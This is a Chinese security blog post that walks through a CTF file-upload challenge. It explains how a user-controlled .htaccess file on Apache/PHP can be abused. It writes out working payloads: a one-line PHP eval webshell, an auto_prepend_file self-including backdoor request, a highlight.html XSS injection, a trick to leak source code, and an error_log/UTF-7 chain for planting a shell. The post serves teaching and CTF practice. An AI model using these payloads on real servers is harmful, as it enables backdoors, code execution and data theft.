• 技术分享
  • Web
  • 渗透测试
  • 实战攻防
  • 经验总结
  • 网安知识
  • writeup
  • 新闻动态
  • 行业动态
  • 公司新闻
  • 关于我们
  • 公司简介
  • 经典活动
  • 网安知识
    深究用户利用.htaccess的原理篡改配置导致的安全问题
    2020-06-17 11:13

    前言

    搞过ctf的师傅们大多都了解到,文件上传的时候经常使用.htaccess进行攻击;但是只了解那浅层的概念在很多时候是行不通的,比如下面这个题;我先把源码贴出来;借这个实例,深入理解.htaccess;走进htaccess世界;

    1.png

    先来审计代码,代码逻辑不是很难;但是如果对.htaccess理解不够透彻的话。做出这个题还是有点难度的;这个题是一道好题;服务器首先对目录进行遍历,然后扫描目录下的文件,如果不是index.php的话就删除掉;然后包含了一下fl3g.php;接下来就是我们传入的文件内容和文件的名字了,后面对文件的内容和名字都做了过滤;最后在我们写的文件内容之后换行并且加入了无关的字符;

    探究

    什么是.htaccess

    .htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的''AllowOverride''指令来设置。这里简明扼要的说一下,.htaccess说白了就是apache服务器中的一个配置文件;只不过它负责的是相关目录之下的网页配置;

     .htaccess可以做什么

    我们通过.htaccess文件可以做到的有:网页301重定向,自定义404错误页面,改变文件拓展名,禁止目录列表等等;;这里来拿改变文件拓展名来说一下;一般的新手文件上传问题;可以上传.htaccess的;我们可以在.htaccess中写入如下的内容;

    <FilesMatch "s1mple">%0aSethandler application/x-httpd-php%0a</Eilesmatch >如此我们上传一个名为s1mple的文件;里面写入<?php eval($_POST['s1mple']);?>然后上传,服务器就会将s1mple文件当作php来解析,因为我们上传的s1mple文件和.htaccess文件在同一个目录之下,然而.htaccess文件已经改变了我们这个目录和子目录的配置;所以我们的s1mple文件可以成功被解析利用;或者写入AddType application/x-httpd-php .jpg;将jpg文件当作php来解析;这很简单;不在过多的赘述;

    htaccess进阶研究

    利用.htaccess构成后门;

    1.文件包含;php_value auto_prepend_file +文件绝对路径(默认是当前上传的目录);看代码故名思意是预先包含我们的那个指定的文件;进阶一下::如果我们预先包含了.htaccess文件;那么造成的效果就是我们插入的恶意代码就会被任意包含;那么会有怎样的效果?我们可以构造如下的代码php_value auto_prepend_file ".htaccess"%0a#<?php phpinfo();?>直接在我们的.htaccess中写入恶意代码,直接包含;我们本地测试一下;拿着上面的那道题来测试一下;传入;?filename=.htaccess&content=php_value%20auto_prepend_fi\%0ale%20".htaccess"%0a%23<?php phpinfo();?> \我们看看回显;当我们第一次传入的时候,发现没有触发phpinfo。那么服务器做了什么?我们本地打开相应的文件夹看看;

    2.png

    原来是第一步生成了.htaccess;还没有预加载,这里我们刷新一下页面,成功利用;我们反观一下.htaccess看看里面生成了什么;

    3.png

    这里我们可以清晰的看到里面的内容;试想,我们如果面对的是上传的问题。并且上传了这样的内容,那么也就可以不用传入其他的文件,就可以直接生成后门(本地测试过,成功);我们利用这个直接写入一句话木马<?php eval($_POST['a']);?>,那么可以直接利用;这里直接包含了.htaccess导致了所有文件都包含了木马;

    4.png

    5.png

    两张图片证明利用成功;dir可以列出很多敏感信息;打码打码~~~~;buu的环境,用这种方法直接打穿;附图如下:

    6.png

    2..htaccess造成的xss;

    这种情况就比较有意思;我们在我们的.htaccess中加入这样的代码;php_value highlight.html '"><script>alert(1);</script>'然后访问index.php.这里发现成功弹窗;

    7.png

    这里只能弹一次,因为我们的index.php中有一个unlink函数,这个函数可以删除我们该目录之下的非index.php文件,所以我们的.htaccess也就被删除了;下面检测很多都可以进行xss;

    8.png

    9.png

    (还有一个highlight.string 也可以进行弹窗,这里随后才加的,就没有复现;师傅们可以复现试试;)

    经过测试,如上的都可以进行弹窗进行xss;

    3.htaccess篡改引擎导致源码泄露;

    实验一下,我删除这个题中的高亮显示的代码;这样就不会显示源码,这里我们通过篡改服务器解析引擎,来进行显示源码,这里其实我们只需要将解析引擎关掉就可;在.htaccess中键入如下的代码;

    0.png

    实验看到这里代码已经显示出来了;我们删除了箭头指向的地方;那里原本是highlight_file(__FILE__)现在删除了之后还可以显示代码,是因为我们关闭了php的处理引擎,使其不能工作,所以这里就显示了源码;这里代码里还有个unlink函数,但是刷新多遍代码依然没有执行,是因为.htaccess依然存在,存在的原因就是我们代码失去了工作引擎,导致不会被解析;也就不会删除我们的.htaccess代码;可见.htaccess是神兵利器!!!

    4.htaccess重定义报错文件和自定义包含路径;

    这种方法也是这道题的另外一种解法,是标准的解法;

    先来探究一下自定义报错文件的情况,看代码里面是一定会有报错出现的,因为没有fl3g.php的存在;所以我们这里修改.htaccess为php_value error_log G:\phpstudy\tmp\fl3g.php这里刷新页面,然后发现报错;

    11.png

    我们看看效果;进到相关目录之下,发现fl3g.php,打开发现确实是报错的内容;

    12.png

    我们现在想法基本有了,利用error_log自定义报错记录文件,写入shell;那么怎么写入呢?这里我们想到;因为没有fl3g.php文件他会报错,这里我们自定义一个包含的路径,如果没有的话,那么也会进行报错,那么服务器也就会将两个信息同时写入到我们的报错文件之中;我们实验一下,发现确实是的;这里使用utf7进行编码的原因是我们写入报错文件的内容会经过html编码,所以这里用utf7进行编码绕过去;避免其被编码;设置报告级别为32767的原因是报告所有可能出现的错误,确保我们可以写入木马;;

    现在我们已经在服务器里留下了一句话木马(如上图),现在就是要触发这个木马了。那就开始我们的第二步;因为我们这里已经有了fl3g.php而且不会被删除,所以这里我们可以自定义包含路径为我们fl3g.php的路径,这里还有个问题,我们的木马怎么被解析,所以这里我们就要首先检验文件是否具有unicode的内容,然后就是自定义编码方式了 php_value zend.script_encoding配置服务器的相关目录文件内容为utf7编码,然后包含就会进行相应的识别解码;最后就执行了木马;

    所以整体的流程就是;首先自定义错误日志进行写马,这里为了全面的写入,采用32767级别的报错;然后绕过<过滤用utf7进行编码绕过;避免被html加密;  接着就是包含木马了,我们自定义包含路径为相关的路径,然后自定义编码方式为utf7;检查是否有unicode;这样就完全的包含了木马;测试一下;

    13.png

    成功利用。

    相关实验:文件包含漏洞-中级篇(本实验介绍了文件包含时绕过限制的原理,以及介绍利用文件包含漏洞读取源码的原理。)

    上一篇:从零开始学习恶意软件聚类可视化
    下一篇:汇编入门你应该知道的知识
    版权所有 合天智汇信息技术有限公司 2013-2020 湘ICP备14001562号-6
    Copyright © 2013-2020 Heetian Corporation, All rights reserved
    4006-123-731